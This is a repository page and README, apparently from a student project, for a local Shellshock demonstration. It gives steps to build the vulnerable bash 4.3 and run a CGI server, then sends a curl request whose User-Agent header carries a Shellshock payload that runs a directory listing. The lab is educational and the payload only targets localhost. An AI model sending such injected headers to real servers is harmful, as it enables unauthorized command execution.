No description
  • TeX 83.1%
  • CSS 6.4%
  • Shell 5.7%
  • HTML 4.8%
Find a file
2025-01-30 18:36:07 +01:00
cgi-bin Fixes 2025-01-20 15:55:59 +01:00
debug_env.txt Fixes 2025-01-20 15:55:59 +01:00
exploit.png add some more details 2025-01-21 14:46:24 +01:00
feedback.txt Fixes 2025-01-20 15:55:59 +01:00
index.html Fixes 2025-01-20 15:55:59 +01:00
postTest.png add some more details 2025-01-21 14:46:24 +01:00
preTest.png add some more details 2025-01-21 14:46:24 +01:00
README.md Update README.md 2025-01-30 18:36:07 +01:00
references.bib finished chapter 1 2025-01-30 17:42:05 +01:00
report.pdf finished chapter 1 2025-01-30 17:42:05 +01:00
report.tex finished chapter 1 2025-01-30 17:42:05 +01:00
styles.css Fixes 2025-01-20 15:55:59 +01:00

shellshockdemo

Setup:

  1. Clone repository
  2. Download outdated bash version
mkdir ~/old-bash && cd ~/old-bash
curl -O http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz
tar -xzf bash-4.3.tar.gz
cd bash-4.3
  1. Compile bash Here we ignore some the compiler errors, these occur due to older C standard being used
CFLAGS="-fcommon -Wno-implicit-function-declaration -Wno-implicit-int" ./configure --prefix=$HOME/old-bash-bin
make -j$(nproc)
make install
  1. Check bash version (it should be 4.3)
~/old-bash-bin/bin/bash --version
  1. Replace the shebang in the cgi scripts with your compiled bash location and make sure they are executable
#!/home/yourusername/old-bash-bin/bin/bash
  1. Start any http sever with cgi scripts enabled in the cloned directory
python3 -m http.server --cgi 8000
  1. Send a malicious http header via curl
curl -H 'User-Agent: () { :; }; ls -la ../ >> ./feedback.txt' http://0.0.0.0:8000/cgi-bin/submit_feedback.cgi

If you look at the feedback page you will see a list of all files in the parent directory -> access control has been violated.